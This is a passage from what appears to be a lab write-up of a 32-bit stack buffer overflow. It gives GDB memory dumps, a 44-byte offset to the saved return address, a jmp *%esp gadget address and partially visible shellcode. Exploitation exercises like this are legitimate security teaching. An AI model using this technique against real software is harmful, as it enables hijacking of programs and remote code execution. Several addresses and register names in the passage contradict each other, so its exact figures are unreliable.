  ebx at 0xbfaaf244, ebp at 0xbfaaf248, eip at 0xbfaaf24c
```

```
(breakpoint at line 32)
(gdb) x/20x buf
0xbfaaf220: 0x03030303 0x03030303 0x03030303 0x03030303
0xbfaaf230: 0x03030303 0x03030303 0x03030303 0x03030303
0xbfaaf240: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfaaf250: 0x000a4141 0xbfaaf264 0xbfaaf260 0x0804879b
0xbfaaf260: 0x00000010 0x21af0002 0x0100007f 0x00000000
```

By doing so, I learned from the first breakpoint at line 39 that the location of the return address from this function was 44 bytes away from the start of the buffer (0xbfe9f5cc - 0xbfe9f5a0 = 0x2C = 44). And as shown at the second breakpoint at line 32, the EBP and EIP have been overwritten at the end of io().

Exploit Structure

I used this information to structure the final exploit in egg. The exploit consisted of 3 sequential sections:

1. <start of buf>: First I write 44 garbage bytes to overwrite buf and reach the RIP.
2. <start of buf + 44>: This is where the RIP is located. I write the address 0x08048666 which points to the jmp *%esp instruction.
3. <start of buf + 48>: Finally, I insert the shellcode.

Exploit GDB Output

When I ran GDB the same way again, I got the following output:

(breakpoint at line 39)

(gdb) x/20x buf

0xbfade9b0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfade9c0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbfade9d0:	0x00000003	0x08049fb0	0xbfadea38	0x0804890e
0xbfade9e0:	0x00000004	0xbfade9f4	0xbfade9f0	0x0804879b
0xbfade9f0:	0x00000010	0xf79e0002	0x0100007f	0x00000000

(breakpoint at line 32)

(gdb) x/20x buf

0xbfade9b0:	0xe8e8e8e8	0xe8e8e8e8	0xe8e8e8e8	0xe8e8e8e8
0xbfade9c0:	0xe8e8e8e8	0xe8e8e8e8	0xe8e8e8e8	0xe8e8e8e8
0xbfade9d0:	0aaaaaaaa	0aaaaaaaa	0aaaaaaaa	0x08048666
0xbfade9e0:	0xffffffff	0x8d5dc3ff	0xc0314a6d	0x5b016a99
0xbfade9f0:	0x026a5352	0x5b96d5ff	0x2b686652	0x89536667

(gdb) x/i 0x08048666

0x8048666 <magic+34>: jmp *%esp

As predicted, the RIP at 0xbfade99c has been overwritten to 0x08048666, where `jmp *%esp` is located, and the subsequent code is the malicious shellcode.